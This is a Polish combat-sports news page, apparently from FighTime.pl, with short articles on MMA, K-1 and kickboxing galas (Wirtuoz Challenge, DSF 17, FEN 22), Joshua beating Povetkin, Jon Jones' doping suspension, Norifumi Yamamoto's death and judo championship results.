Dla kibica najważniejsze jest to, co zobaczy w oktagonie, czyli poziom sportowy. Jednakże wpływ na ocenę całości mają również efekty wizualne i organizacja. Organizatorzy gali Wirtuoz Challenge 1: Początek postanowili na połączenie tych elementów. – Od samego początku przyświecał nam konkretny cel – dobrze rozpisany fightcard, moc emocji w oktagonie przy widowiskowej oprawie wizualno –dźwiękowej. Chcieliśmy połączyć moc wrażeń sportowych, adrenaliny towarzyszącej zawsze walkom w klatce z subtelnością muzyki współgrającej z efektami świetlnymi, mającymi pokazać galę Wirtuoz Challenge jako innowacyjny produkt na rynku – podkreśla Wnukiewicz.

Co do kwestii sportowych, Wirtuoz Challenge to propozycja, która zaspokoi każdego. Kibice mogli podziwiać pojedynki w MMA, BJJ, K-1 i No-Gi. W walce wieczoru zaprezentowali się utytułowani kickbokserzy – Robert Krasoń pokonał Daniela Kolasińskiego. Nie brakowało efektownych zakończeń, tak jak w MMA, gdzie Marcin Krakowiak w niecałą minutę poradził sobie z Mateuszem Grzeżółkowskim. – W pierwszej odsłonie naszej gali nie nastawialiśmy się na sukces finansowy. Chcieliśmy pokazać się z jak najlepszej strony na bardzo urozmaiconym rynku MMA w Polsce jako ludzie z nowymi pomysłami i nieco innym spojrzeniem na organizacje gali. Stąd myśl, by w oktagonie pokazali się nie tylko zawodnicy K-1, ale i BJJ, mogę się mylić, ale chyba po raz pierwszy w Polsce, ponieważ nie przypominam sobie grapplerów czy „kimoniarzy” na jakiejkolwiek gali – wyjaśnia Michał Maciejek, wiceprezes Stowarzyszenia Wirtuoz.

Wirtuoz Challenge chce stwarzać możliwości rozwoju młodym zawodnikom, ale pierwsza gala pokazała, że mogą oni stworzyć ciekawe widowisko. – Rozpiska zapełniona była zarówno utytułowanymi zawodnikami, jak i młodymi wilkami. Poziom sportowy widowiska był naprawdę wysoki, dobrze się to oglądało. Dajemy szansę przede wszystkim ambitnym zawodnikom, gotowym na prawdziwą bitkę. W środowisku sportów walki nie brakuje młodych, mocnych chłopaków, którzy nie mają możliwości pokazać swoich umiejętności. My stwarzamy tę możliwość, ubieramy całość w odpowiednią otoczkę i powstaje ciekawe, emocjonujące widowisko. Mamy pełne rezerwy, na kolejnych edycjach zobaczymy kilku zawodników, którzy walczyli na pierwszej edycji i dali dobre walki, jak i sporo nowych twarzy – prezentuje Marcin Krakowiak, odpowiedzialny za sport w Stowarzyszeniu Wirtuoz.

Pierwsze doświadczenie zebrane, opinie są pozytywne, a więc czas na kolejne wyzwania. Wirtuoz Challenge zamierza na dobre zadomowić się na rynku sportów walki. – Bazując na odzewie ze świata sportów walki i z bardzo pozytywnych opinii na temat wydarzenia, które zorganizowaliśmy, podjęliśmy decyzję, iż kolejna edycja gali Wirtuoz Challenge odbędzie się w pierwszej połowie przyszłego roku. To było zresztą naszym założeniem od samego początku, nie zdawaliśmy sobie jednak sprawy, że zarówno publika, jak niezależni obserwatorzy wydarzenia oraz znawcy tematu sportów walki w tak pozytywny sposób przyjmą nową federację z produktem Wirtuoz Challenge. Jesteśmy głodni wiedzy, uczymy się od najlepszych organizatorów gal, podpatrujemy eventy pod kątem techniki, oprawy wizualnej oraz doboru sportowych zmagań w oktagonie. Wyciągamy wnioski, analizujemy zapotrzebowanie rynku i wychodzimy naprzeciw oczekiwaniom potencjalnych odbiorców – wyjaśnia Magdalena Wnukiewicz.

KM

DSF 17: „Azja” Anzorge kontra Jaro Zawodni. Kto zostanie mistrzem Polski w wadze półciężkiej?

Oprócz dwóch walk o tytuły mistrzowskie federacji DSF Kickboxing Challenge na gali DSF 17 w Częstochowie odbędzie się także starcie o pas zawodowego mistrza Polski PZKB w wadze półciężkiej (do 91 kg). Zmierzą się w nim dwaj ringowi weterani: częstochowianin Norbert „Azja” Anzorge i Jarosław Zawodni z Wałbrzycha. Już 29 września przekonamy się, kto będzie górą!

38-letni Anzorge w tym roku wrócił na ring po dłuższej przerwie i efektownie wygrał dwie walki. Największe wyzwanie czeka go jednak w następną sobotę. Pojedynek o pas mistrza Polski może być pięknym ukoronowaniem kariery popularnego „Azji”, który na oczach swojej publiczności zamierza przedłużyć passę zwycięstw.

Mój ulubiony moment w walce to kiedy dostaję mocno w głowę. Wtedy się budzę i pokazuję swoją prawdziwą agresję! Mój atut to przede wszystkim ręce. Lubię się bić, iść na wymianę. Mój styl to presja. Zobaczymy, jak rywal sobie z tym poradzi – mówi Norbert Anzorge.

Pierwotnie przeciwnikiem częstochowianina na DSF 17 miał być Marcin Bachórz, zawodnik klubu Puncher Wrocław musiał się jednak wycofać z powodu kontuzji. W walce o mistrzowski tytuł zastąpi go były mistrz Polski i Europy – Jarosław Zawodni.

Jestem lepszym zawodnikiem. Czuję się bardziej doświadczony, mimo że to ja jestem młodszy. Pas mistrza Polski zawiśnie na moich biodrach – przekonuje 31-letni Zawodni, który 9 marca zadebiutował w federacji DSF na gali Twierdza w Nowym Dworze Mazowieckim.

 WIDEO. Zapowiedź walki Anzorge-Zawodni o pas mistrza Polski >>>

Ciekawy układ stylów powinien zapewnić kibicom kapitalną walkę. Mocną stroną Anzorge jest technika bokserska i ciosy pięściami. Na korzyść wyższego i szybszego Zawodniego przemawiają jednak niebezpieczne nogi. Kto będzie górą w tej konfrontacji?

W Częstochowie biję się dla moich kibiców. Dam im superwalkę, wszyscy zobaczycie fajerwerki. 29 września zdobędę pas mistrza Polski PZKB. Jestem silny, zmotywowany, nikt mnie nie powstrzyma! – zapewnia „Azja”.

Walczę od początku do końca i nigdy się nie poddaję. To jedna z moich najmocniejszych stron. Jego największym atutem są ręce, moim są nogi. Zobaczymy, co będzie lepsze. Obaj będziemy dążyć do zwycięstwa przez nokaut! Wygram na oczach jego kibiców – obiecuje Zawodni.

Bilety na galę DSF Kickboxing Challenge 17 w Hali Polonia przy ul. Dekabrystów 43 w Częstochowie są dostępne w cenie od 30 PLN na DSFTicket.com. Start imprezy o godzinie 18:30.

Derby Poznania na FEN 22

Dawid Pasternak (8-3, 4 KO, 1 SUB) podejmie Rafała Statkiewicza (1-1, 1 KO) podczas gali FEN 22, która 20 października odbędzie się w Poznaniu. Walka została zakontraktowana w limicie kategorii koguciej.

Pasternak to 28-letni zawodnik pochodzący z Gniezna. Z ośmiu dotychczas odniesionych zwycięstw, pięć miało miejsce przed czasem – cztery przez nokauty, jedno przez poddanie. W styczniu tego roku Pasternak odprawił z kwitkiem już w pierwszej rundzie Sławomira Szczepamńskiego. Wcześniej wygrywał przed własną publicznością w Gnieźnie z Tomasem Zajacem, w 2014 roku natomiast decyzją sędziów dwa do remisu zwyciężył z Mateuszem Rajewskim. Pasternak to jeden z najlepszych zawodników w kategorii koguciej w Polsce.

Statkiewicz na zawodowstwie zadebiutował w listopadzie 2016 roku, gdy przez TKO w 1. rundzie pokonał Wojciecha Piordasa. Trenujący na co dzień w klubie Ankos MMA Poznań zawodnik wraca do klatki po prawie dwóch latach przerwy. Występ podczas FEN 22 będzie jego debiutem pod szyldem federacji.

– Dwóch debiutantów w FEN, dwóch jakże różnych, ciekawych zawodników. Waga kogucia zawsze była u nas bardzo mocna, ciekaw jestem, jak dwie nowe twarze poradzą sobie w klatce. Jedno jest pewne – zarówno Dawid, jak i Rafał zrobią wszystko, by dzięki zwycięstwu w Poznaniu zrobić pierwszy krok w kierunku pasa mistrzowskiego – powiedział Paweł Jóźwiak, prezes FEN.

Karta walk FEN 22:

  • Damian Grabowski VS TBA -120 kg
  • Mateusz Rębecki VS Łukasz Kopera -70 kg*
  • Bartosz Leśko VS Tomasz Kondraciuk -84 kg
  • Kamil Gniadek VS Jacek Jędraszczyk -77 kg
  • Kamil Łebkowski VS Łukasz Demczur -66 kg
  • Krzysztof Klaczek VS TBA -66 kg
  • Łukasz Radosz VS TBA -85 kg K-1
  • Dawid Pasternak VS  Rafał Statkiewicz -61 kg

Bilety na galę FEN 22 w serwisie Eventim.pl można nabyć TUTAJ.

Brazylijski "Smok" rywalem Grabowskiego na FEN 22 w Poznaniu

Jose Rodrigo Guelke (21-16, 15 KO, 5 SUB) zmierzy się z Damianem Grabowskim (20-5, 6 KO, 11 SUB) podczas gali Fight Exclusive Night 22, która 20 października odbędzie się w Poznaniu. Będzie to debiut Brazylijczyka w federacji.

Guelke urodził się 13 marca 1986 roku w mieście Ponta Grossa w stanie Parana. "Dragon" pierwszą zawodową walkę wygrał w 2003 roku, gdy przez poddanie pokonał Jeffersona Gege. Od tamtego czasu zwyciężył w 21 pojedynkach, z czego aż 20 rozstrzygał przed czasem. Brazylijczyk jest nazywany w Kraju Kawy "Królem nokautu". 15 zwycięstw Guelke odniósł przez TKO lub KO, pięciokrotnie poddawał swoich rywali. Co warte uwagi – aż 13 z tych pojedynków nie wyszły nawet poza pierwszą rundę. "Smok" ostatnie starcie stoczył w lipcu tego roku, gdy jednogłośną decyzją sędziów pokonał Kerissona Leala de Rezende.

38-letni Grabowski to weteran polskiej sceny MMA. W przeszłości bił się w największej światowej federacji UFC. W 2013 został międzynarodowym mistrzem M-1 Global w wadze ciężkiej. Był również wicemistrzem świata i mistrzem Europy w brazylijskim jiu-jitsu. Przez 11 lat zawodowych startów stoczył 25 walk, z czegoś aż 20 wygrał.

– Z doświadczenia wiem, że brazylijscy zawodnicy są bardzo niebezpieczni i dobrze radzą sobie na polskiej ziemi. Ciekaw jestem, jak Guelke pokaże się na FEN 22 i jak na jego tle wypadnie Damian. Obaj zawodnicy wygrali łącznie 41 pojedynków, z czego 37 nie dotrwało do końcowego gongu. To gwarantuje emocje w klatce 20 października, jestem o tym przekonany – powiedział Paweł Jóźwiak, prezes FEN.

Karta walk FEN 22:

  • Damian Grabowski VS Jose Rodrigo Guelke -120 kg
  • Mateusz Rębecki VS Łukasz Kopera -70 kg*
  • Bartosz Leśko VS Tomasz Kondraciuk -84 kg
  • Kamil Gniadek VS Jacek Jędraszczyk -77 kg
  • Kamil Łebkowski VS Łukasz Demczur -66 kg
  • Krzysztof Klaczek VS TBA -66 kg
  • Łukasz Radosz VS TBA -85 kg K-1
  • Dawid Pasternak VS Rafał Statkiewicz -61 kg

Bilety na galę FEN 22 w serwisie Eventim.pl można nabyć TUTAJ.

DSF 17: Jenel vs Ruta 2 – Kto naprawdę jest najlepszy?

Oto oficjalny zwiastun gali DSF 17, która odbędzie się 29 września w Hali Polonia w Częstochowie. W walce wieczoru Kamil Jenel (26-5) przystąpi do trzeciej obrony mistrzowskiego tytułu w kategorii do 81 kg. Jego rywalem będzie były mistrz Kamil Ruta (12-1), który jedynej porażce doznał przed rokiem właśnie z rąk Jenela. Bilety w cenie od 30 PLN dostępne na DSFTicket.com.

[kod]

Gala DSF 17: Jenel-Ruta II za darmo w Internecie!

Federacja DSF Kickboxing Challenge przygotowała kibicom wspaniałą niespodziankę na początek jesieni. Zaplanowaną na 29 września galę DSF 17 w Częstochowie będzie można obejrzeć za darmo na całym świecie za pośrednictwem platformy DSFLIVE.com. W walce wieczoru Kamil Jenel zmierzy się z Kamilem Rutą w pojedynku o mistrzowski pas K-1 w kategorii do 81 kg.

To będzie prawdziwa noc rewanżów w Częstochowie. Na gali DSF Kickboxing Challenge 17 odbędzie się drugi mecz międzynarodowy K-1 Polska-Czechy. W lutym we Wrocławiu nasi południowi sąsiedzi zwyciężyli 3:2, dlatego tym razem biało-czerwoni sięgają po same znakomitości. Nasze barwy reprezentować będą Mateusz Rajewski (65 kg), Patryk Radoń (71 kg), Adam „Polish Psycho” Gielata (71 kg), Paweł Biszczak (75 kg) i Dawid „Mirko” Mirkowski (86 kg).

DSF 17: Czy Róża zostanie królową federacji DSF? >>>

 

 

""

Po meczu kibice obejrzą trzy pojedynki mistrzowskie. W pierwszym z nich o pas zawodowego mistrza Polki PZKB w wadze półciężkiej (do 91 kg) powalczy popularny miejscowy fighter Norbert „Azja” Anzorge. Jego rywalem będzie Jarosław Zawodni. Po rozstrzygnięciu ich boju do ringu wejdzie Róża Gumienna, która w trzecim występie dla federacji stanie przed upragnioną szansą zdobycia tytułu. Pokrzyżować jej plany może dawna przeciwniczka Cristina Caruso, która dwa lata temu pokonała Polkę w finale mistrzostw Europy. Zwyciężczyni pojedynku pań zostanie nową królową DSF Kickboxing Challenge w kategorii do 65 kilogramów.

DSF 17: Jenel-Ruta II. Zapowiedź walki wieczoru >>>

Główne danie wieczoru to rewanż za najlepszy pojedynek K-1 2017 roku. W trzeciej obronie mistrzowskiego pasa w wadze do 81 kilogramów Kamil Jenel ponownie spotka się z Kamilem Rutą, którego zdetronizował dokładnie rok wcześniej na gali DSF Eliminator w Ząbkach. Dwaj znakomici wojownicy od wielu miesięcy nie ukrywają wzajemnej niechęci. Dla którego z nich sobota 29 września będzie szczęśliwym dniem?

Darmowa transmisja z gali DSF Kickboxing Challenge 17 odbędzie się 29 września o godzinie 18:30 w platformie DSFLIVE.com. Bilety są dostępne w cenie od 30 PLN na DSFTicket.com.

Joshua pokonał Powietkina

Aleksander Powietkin starał się być równorzędnym rywalem dla Anthony'ego Joshuy, jednak mistrz po raz kolejny pokazał klasę. W siódmej rundzie "AJ" powstrzymał zapędy Rosjanina.

Powietkin to jedna z najbardziej wyrazistych postaci wagi ciężkiej. Jeszcze niedawno był na ustach wszystkich ze względu na stosowanie niedozwolonych środków. Wiele osób patrzyło na jego sportowe poczynania z przymrużeniem oka, jednak kolejne zwycięstwa utorowały mu drogę do rywalizacji o cztery pasy mistrzowskie – IBF, IBO, WBA oraz WBO.

W tym roku Anthony Joshua dołożył do swojej kolekcji kolejny tytuł. Pokonując w Cardiff Josepha Parkera zdobył pas WBO, ale po raz pierwszy w karierze miał okazję rywalizować na pełnym dystansie. Brytyjczyk uchodził za faworyta starcia z Aleksandrem Powietkinem, ale początek walki był zaskakujący. Rosjanin bez obaw ruszył na mistrza i pokazał, że "AJ" musi mieć się na baczności, bo rosyjskie pięści mogą wyrządzić mu krzywdę. W końcówce pierwszej rundy lewy sierpowy "Saszy" zrobił wrażenie na czempionie. Rosjanin rozbił nos rywalowi. Powietkin dobrze się czuł, a Joshua był nieco zaskoczony takim obrotem sprawy. W trzeciej odsłonie Brytyjczyk przyjął kolejne mocne ciosy, po których prezentował się zachowawczo. Powietkin odrobił lekcję przed mistrzowskim starciem. Dynamika, mocne ciosy i dobra praca w defensywie sprawiły, że Joshua miał problemy.

Nieważne jednak "jak się zaczyna, ale jak się kończy". W końcu Joshua trafił Rosjanina, na którego twarzy pojawiła się krew. Rozbity łuk brwiowy. Joshua odżył, a "Sasza" tracił siły. Powietkin nadal był aktywny, jednak nie wszystkie jego ciosy dochodziły do celu. Trzeba przyznać, że Rosjanin ani na chwilę się nie cofnął. Był odważny i wierzył w swoją siłę. Do szóstej rundy wyglądało na to, że Powietkin może osiągnąć sukces. Wtedy przyszedł błysk geniuszu Joshuy. W siódmej rundzie mistrz przeprowadził huraganowy atak. Seria ciosów sprawiła, że 39-letni "Sasza" upadł, zdołał jeszcze wstać. "AJ" nie mógł zmarnować takiej okazji. Kolejne ciosy Joshuy i walka w końcu została przerwana.

22 zwycięstwo Brytyjczyka, a 21 odniesione przed czasem. Powietkin przegrał drugą walkę w karierze, ale pozostawił po sobie dobre wrażenie. "AJ" nadal królem.

KM

 

Kurpiowska Kuźnia Mistrzów, czyli emocje gwarantowane

6 października w hali WOSIR w Wyszkowie odbędzie się XVIII Kurpiowska Kuźnia Mistrzów. O zbliżającym się wydarzeniu oraz rozwoju projektu opowiadają nam organizatorzy Artur Lach i Paweł Deluga.

FighTime.pl: Na jakim etapie są przygotowania do XVIII Gali Kurpiowska Kuźnia Mistrzów?

Artur Lach i Paweł Deluga: Nigdy nie byliśmy tak bardzo przygotowani. Przekazaliśmy wiele działań profesjonalnym firmom zewnętrznym. Oprócz tradycyjnej sprzedaży biletów wprowadziliśmy sprzedaż internetową na evenea.pl . Obsługę techniczna czy halę sportową na WOSIR Wyszków również uzgodniliśmy w dużym wyprzedzeniem. Wszystkie zaplanowane działania wynikające z doświadczenia kilkunastu mniejszych imprez sprawdziło się zwłaszcza, że ta gala jest już dużą imprezą masową, na którą musieliśmy uzyskać wiele zezwoleń i pozytywnych opinii.

Sięgnijmy początków – jak wygląda z Panów perspektywy rozwój przedsięwzięcia? Jak zmieniła się Kurpiowska Kuźnia Mistrzów?

Początki kontra dziś, czyli 2014 rok a 2018. Ring podłogowy, a dziś ring z atestami WSB. Mała sala sportowa, gdzie przyszło 60 osób, a dziś impreza masowa na kilkaset osób. Walki tylko w kaskach, a dziś zawodowe bez kasków. Budżet imprezy 1000 zł, a dziś kilkadziesiąt tysięcy. Posty na Facebooku docierały do 1000 osób a dziś dochodzą do 40000

Można powiedzieć, że jesteście już marką i wartościowym produktem?

Nie jesteśmy, ale stajemy się marką i wartościowym produktem. Obecnie jest to dla nas czas przejścia, gdzie docieramy do granicy pomiędzy amatorskimi galami a profesjonalnym wydarzeniem. Jesteśmy przekonani, że po kolejnej gali zostaniemy zauważeni przez szerszą grupę obserwatorów, również przez stacje telewizyjne. Widzimy też pozytywny odbiór naszej marki po wprowadzeniu napoju Kuźnia Energy Drink, który miał swoją inaugurację we wrześniu zeszłego roku.

Kogo zobaczymy 6 października w Wyszkowie?

Na gali zobaczymy przede wszystkim pojedynki w formule K-1 . Najważniejszą z nich będzie finałowa walka wieczoru o pas Mistrza Ziemi Kurpiowskiej pomiędzy pochodzącym z Wyszkowa Danielem Bralewskim a pochodzącym z Ostrołęki Karolem Łasiewickim. Przed nimi również w walce wieczoru spotkają się Daniel Strzemiński z Warszawy z Bartoszem Guzem z Lublina. Zobaczymy również kolejnego zawodnika z Ostrołęki Aleksego Zienkiewicza, który zmierzy się z zawodnikiem z Warszawy Dominikiem Gryszkiewiczem. Obaj znani są z poprzednich Kuźni. Warto również wspomnieć o walce fighterów z rywalizujących dużych warszawskich klubów – Palestry i Legii. Będzie to walka pomiędzy Tomaszem Stępińskim, a Filipem Pham Hong. Emocjonujący będzie też bratobójczy pojedynek pomiędzy zawodnikami z Wyszkowa. Młody Marcin Rojek zmierzy się z powracającym na ring po dwóch latach przerwy Błażejem Sarnackim, wicemistrzem świata K-1 Global z Londynu. W sumie planowane jest sześć pojedynków w formule K-1 , także będzie to mocny wieczór. Poza tą formułą nie zabraknie walk bokserskich.

Zapowiadając wydarzenie posługujecie się stwierdzeniem "ogrom mocnych uderzeń", czyli nudów i ziewania nie będzie?

Karta walk gwarantuje emocje. Młodzi utalentowani kontra doświadczeni. Walka o pas Ziemi Kurpiowskiej – rodowity Biały Kurp kontra Zielony Kurp. Rywalizacja klubowa, czyli Palestra Warszawa kontra Legia Warszawa.

Jak oceniają Panowie poziom sportowy poprzednich gal? Czy jesteście źródłem promocji, tworzenia gwiazd?

Poziom sportowy jest dość uczciwy. Zawodnicy są dobierani tak, aby zagwarantować emocje i wyrównaną rywalizację, a nie tzw. egzekucje. Czy jesteśmy źródłem promocji zawodników? Myślę, że tak i tu chciałbym podać kilka przykładów. Piotr Golon znany z Kuźni aktualnie startuje na DSF Kickboxing Challenge. Piotr Trześniewski startował również na DSF czy na Litwie dla organizacji King of Kings. Znany bokser olimpijski Marek Pietruczuk, który aktualnie wchodzi na zawodową drogę kariery, również pokazał się na naszych galach m.in. na Międzynarodowej Gali Kuźni w meczu bokserskim Polska – Kanada, którą zorganizowaliśmy w zeszłym roku. Inny znany bokser, który walczy na galach Polsat Boxing Night, Mateusz Tryc zaczynał na wyszkowskim ringu.

Na koniec chcielibyśmy serdecznie zaprosić czytelników i sympatyków K-1 i boksu na naszą galę. Przyjeździe i sami oceńcie. Bilety w Gym4U Wyszków i na KuzniaMistrzow.evenea.pl.

KM

„Krótkie” 15 miesięcy Jonesa

Amerykańska Agencja Dopingowa ukarała Jona Jonesa 15-miesięcznym zawieszeniem za stosowanie niedozwolonych środków. Popularny "Bones" będzie mógł powrócić do rywalizacji już 28 października br.

Czas szybko leci, prawda? De facto za półtora miesiąca amerykański zawodnik MMA będzie "czysty". Wynika to z faktu, że u Jona Jonesa niedozwoloną substancję wykryto po gali UFC 214, która odbyła się w lipcu zeszłego roku. Wtedy to „Bones” pokonał Daniela Cormiera i zdobył pas, jednak później okazało się, że stosował turinabol. Z czasem wynik walki uznano za no contest i pochylono się nad sprawą Jonesa. Kara liczy się od tamtego czasu, czyli 28 lipca. Co ciekawe, spekulowano, że byłego mistrza wagi półciężkiej czeka nawet 48 miesięcy. Warto przypomnieć, że Jones zaliczył drugą dopingową wpadkę w karierze. Pierwsza miała miejsce przed galą UFC 200 (lipiec 2016 roku), kiedy to Amerykanin nie przeszedł kontroli antydopingowej.

Wracając do głównego wątku, Jones został łagodnie potraktowany ze względu na znaczącą pomoc. Chodzi o współpracę Amerykanina w zakresie zidentyfikowania naruszeń przepisów przez innych zawodników bądź ludzi ze środowiska. Szczegóły sprawy nie są jednak znane, ale za pomoc Jones otrzymał… nagrodę w postaci redukcji kary z 48 na 15 miesięcy. W całej sprawie jest jednak mały haczyk. Jones zobowiązany jest, aby kontynuować współpracę z USADA, ponieważ inaczej redukcja kary może zostać cofnięta.

Kiedy Jon Jones wróci do oktagonu? Jako, że kara kończy się 28 października były mistrz wagi półciężkiej mógłby zaprezentować się na gali UFC 230, którą zaplanowano na 3 listopada w Nowym Jorku. Prawdopodobnie jednak Jones nie jest szykowany do występu w Madison Square Garden.

Z pewnością Jones poczuł ulgę po ogłoszeniu zawieszenia. – Trudno wyrazić co czuję, ale moje serce wypełnione jest wdzięcznością. Dziękuję wszystkim, którzy stali przy mnie w tym trudnym okresie mojego życia. To znaczy wiele. Teraz skupiam się na przyszłości. Droga do odzyskania tronu została otwarta – napisał Amerykanin w mediach społecznościowych.

KM

 

Srebro i brąz Polaków

W mistrzostwach Europy juniorów w judo w Sofii Polska zdobyła dwa medale. Angelika Szymańska (63kg) wywalczyła srebro, a Cezary Tchórzewski (73kg) brąz.

W Sofii zaprezentowało się ponad 400 judoczek i judoków, wśród których znalazła się 16-osobowa kadra Polski. Dwa zdobyte medale dały biało-czerwonym 13. miejsce w klasyfikacji końcowej.

Dotychczas największym sukcesem w karierze Angeliki Szymańskiej było piąte miejsce w mistrzostwach świata kadetek w 2015 roku w Sarajewie. Z Sofii niespełna 19-letnia Polka miała dobre wspomnienia. W 2015 roku zajęła siódme miejsce w mistrzostwach Europy kadetek. Na poziomie juniorskim poprawiła to osiągnięcie. W Sofii Szymańska stoczyła pięć walk. Rozpoczęła od szybkiego zwycięstwa z reprezentantką Czarnogóry Tamarą Gardasević. Kolejne pojedynki również wygrywała przed czasem. Na pokonanie ćwierćfinałowej rywalki – Anastazji Antipiny potrzebowało nieco ponad pół minuty. Dopiero w finale Szymańska znalazła pogromczynię. Lia Ludvik ma już na swoim koncie triumf w seniorskich zawodach w Sarajewie. Pokonując Polkę zapisała na swoim koncie pierwszy medal mistrzostw Europy i od razu złoty.

Cezary Tchórzewski rok temu w Mariborze przegrał walkę o ćwierćfinał z Davidem Gamosovem. W Sofii Polak zaszedł zdecydowanie dalej, ale droga do sukcesu nie była łatwa. Początek mistrzostw był niezwykle wymagający dla 20-latka, który po dogrywkach pokonał Yannicka van der Kolka oraz Iona Nacu. W kolejnej walce Tchórzewski przed czasem przegrał z Joao Fernando. Na Polaka czekały repasaże, z których wyszedł zwycięską ręką. W starciu o brąz Tchórzewski przed czasem odprawił Azera Hasila Jafarova.

Blisko medalu był Iwo Baraniewski (100kg). Zawodnik Uczniowskiego Klubu Judo 225 Warszawa potrzebował niecałych trzech minut na pokonanie trzech rywali, jednak kolejne pojedynki nie ułożyły się po myśli 19-latka. Szybko przegrany półfinał i wyrównana walka o brąz, w której lepszy okazał się Adil Karimli.

Siódme miejsce w mistrzostwach Europy zajęła Julia Świątkiewicz (+78kg), która na początek rywalizacji pokonała Czeszkę Marketę Paulusovą. Następnie Polka przegrała dwa pojedynki.

W klasyfikacji medalowej triumfowała Gruzja, która zdobyła dziesięć krążków – trzy złote, dwa srebrne i cztery brązowe. Druga pozycja dla Włoch (pięć medali – 2, 0, 3), trzecia dla Francji (cztery medale – 2, 0 ,2).

Fot. European Union Judo

KM

Nie żyje japoński zawodnik MMA

Smutna wiadomość obiegła świat sportów walki. W wieku 41 lat odszedł Norifumi Yamamoto.

W takich przypadkach zawsze pojawia się pytanie – dlaczego tak wcześnie? Chyba nikt nie potrafi udzielić odpowiedzi. Pogrążamy się w smutku i wspominamy dokonania osoby, której już z nami nie ma.

Fani MMA doskonale pamiętają Norifumiego Yamamoto. Swego czasu Japończyk zapracował na miano jednego z najlepszych zawodników kategorii lekkiej na świecie. Podczas pojedynków był zdeterminowany i skuteczny, o czym świadczy ponad 70 proc. wygranych przez nokaut. W sierpniu br. Yamamoto podał, że ma problemy zdrowotne. Zawodnik MMA walczył z rakiem, jednak w tym przypadku triumfował przeciwnik. Yamamoto odszedł w wieku 41 lat.

Prześledźmy karierę Japończyka. Pierwszy pojedynek Yamamoto w MMA miał miejsce w marcu 2001 roku, a jego rywalem była Masato Shiozawa. Popularny "Kid" wygrał decyzją sędziów. Pierwszą porażkę poniósł rok później, a jego pogromcą był Stephen Palling. Następnie Yamamoto spisywał się znakomicie i wygrał 14 kolejnych walk! Na swoim koncie zapisał triumf w Grand Prix Hero 2005. Należy wspomnieć, że Yamamoto potrzebował zaledwie… czterech sekund, aby wygrać walkę z Kazuyukim Miyatą. "Kid" popisał się latającym kolanem. Yamamoto potrafił zachwycać, choć nie imponował warunkami fizycznymi, jednak pokazywał w klatce prawdziwą klasę i ogromne serce.

W trakcie kariery pokonał takich zawodników jak m.in. Bibiano Fernandes, Rani Yahya, Federico Lopez czy Royler Gracie. Ostatnie lata występów nie były najlepsze w jego wykonaniu. Zanotował trzy porażki, a ostatnia walka z Romanem Salazarem została uznana za nierozstrzygniętą. Ukoronowaniem bogatej kariery Japończyka były występy w UFC.

Norifumi Yamamoto wygrał 18 walk, z których 13 przez nokaut, dwie przez poddanie i dwie przez decyzję sędziów. Japończyk zanotował sześć porażek. Zawodnik zapracował na swoją markę widowiskowym stylem rywalizacji. Świat sportów walki opłakuje Yamamoto, który odszedł przedwcześnie. Pozostanie jednak w naszej pamięci.

Fot. sherdog.com

KM

Odliczanie do mistrzostw świata

20 września w Baku wystartują mistrzostwa świata w judo. Kadra Polski liczy 16 zawodniczek i zawodników. Seniorzy szlifują formę, a w Sofii trwa rywalizacja w juniorskich mistrzostwach Europy.

Przez ostatnie dni biało-czerwoni trenowali w Spale. Trener Mirosław Błachnio bacznym okiem obserwował postępy reprezentantów, którzy poddani byli ciężkiej pracy. Polacy mogli liczyć na wsparcie merytoryczne fachowców w postaci Kotaro Saskiego, Przemysława Matyjaszka, Adama Maja i Łukasza Błacha. Warto dodać, że zanim kadrowicze ruszą do Baku będą szlifować formę w klubach.

19 września biało-czerwoni poznają rywali na mistrzostwach świata. Na start pierwszych reprezentantów poczekamy do 21 września, kiedy to na tatami wejdą Agata Perenc i Karolina Pieńkowska (52kg) oraz Patryk Wawrzyczek (66kg). Wśród naszych judoków najwyżej, bo z siódemką został rozstawiony Maciej Sarnacki (+100kg). W stolicy Azerbejdżanu pojawi się ponad 800 zawodniczek i zawodników. Zwycięstwo to szansa na zapisanie się w annałach historii, a także zastrzyk finansowy. Złoty medal to gwarancja ponad 20 tys. euro. Wicemistrzowie mogą liczyć na 12 tys., a zdobywcy brązowych krążków na 6,4 tys. Rywalizacja w Baku potrwa do 27 września.

Reprezentacja Polski na mistrzostwa świata w Baku: Agata Perenc i Karolina Pieńkowska (52kg), Anna Borowska i Julia Kowalczyk (57kg), Agata Ozdoba-Błach i Karolina Tałach (63kg), Daria Pogorzelec (70kg), Paula Kułaga i Beata Pacut (78kg), Patryk Wawrzyczek (66kg), Michał Bartusik i Wiktor Mrówczyński (73kg), Damian Szwarnowiecki (81kg), Rafał Kozłowski i Piotr Kuczera (90kg) oraz Maciej Sarnacki (+100kg).

Juniorzy walczą w Sofii

W Sofii wystartowały mistrzostwa Europy juniorów, w których zaprezentuje się ponad 400 judoczek i judoków. Kadra Polski liczy 16 osób. Wśród zgłoszonych są: Danuta Majcher i Paulina Szlachta (48kg), Aleksandra Kaleta (52kg), Anna Dąbrowska (57kg), Angelika Szymańska i Natalia Kropska (63kg), Eliza Wróblewska i Karolina Miller (70kg), Julia Świątkiewicz i Katarzyna Madajewska (+78kg), Sebastian Makowski (66kg), Cezary Tchórzewski i Adam Stodolski (73kg), Sebastian Ołdak (90kg), Iwo Baraniewski (100kg) oraz Krzysztof Załęczny (+100kg).

Pierwszy dzień zmagań bez sukcesów biało-czerwonych. Majcher, Szlachta, Kaleta i Makowski polegli już na starcie. Wygranymi pierwszego dnia są Rosjanie, którzy zapisali na swoim koncie trzy medale – złoty i dwa srebrne.

KM

Konferencja prasowa przed FEN 22 w Poznaniu

W piątek 14 września w Poznaniu o godzinie 15 w Fabryce Formy – Centrum Fitness w budynku „Poznań Bałtyk” odbędzie się konferencja prasowa przed galą FEN 22. Podczas wydarzenia zostaną ogłoszone nazwiska dwóch nowych nabytków federacji, którzy będą równocześnie bohaterami gali. Zawodnicy po raz pierwszy staną naprzeciw siebie twarzą w twarz.

Podczas konferencji prasowej zostanie omówiony szczegółowy plan promocji gali FEN 22, która po raz pierwszy w niespełna pięcioletniej historii federacji zawita do stolicy Wielkopolski. Kibice poznają nazwiska dwóch bohaterów gali FEN 22 w Poznaniu, w tym bohatera walki wieczoru, nową gwiazdę federacji. Na pytania dziennikarzy odpowiedzą:

  • Bartosz Leśko
  • Tomasz Kondraciuk
  • Łukasz Kopera
  • Mateusz Rębecki
  • Paweł Jóźwiak
  • dwóch zawodników, którzy zostaną ogłoszeni podczas konferencji

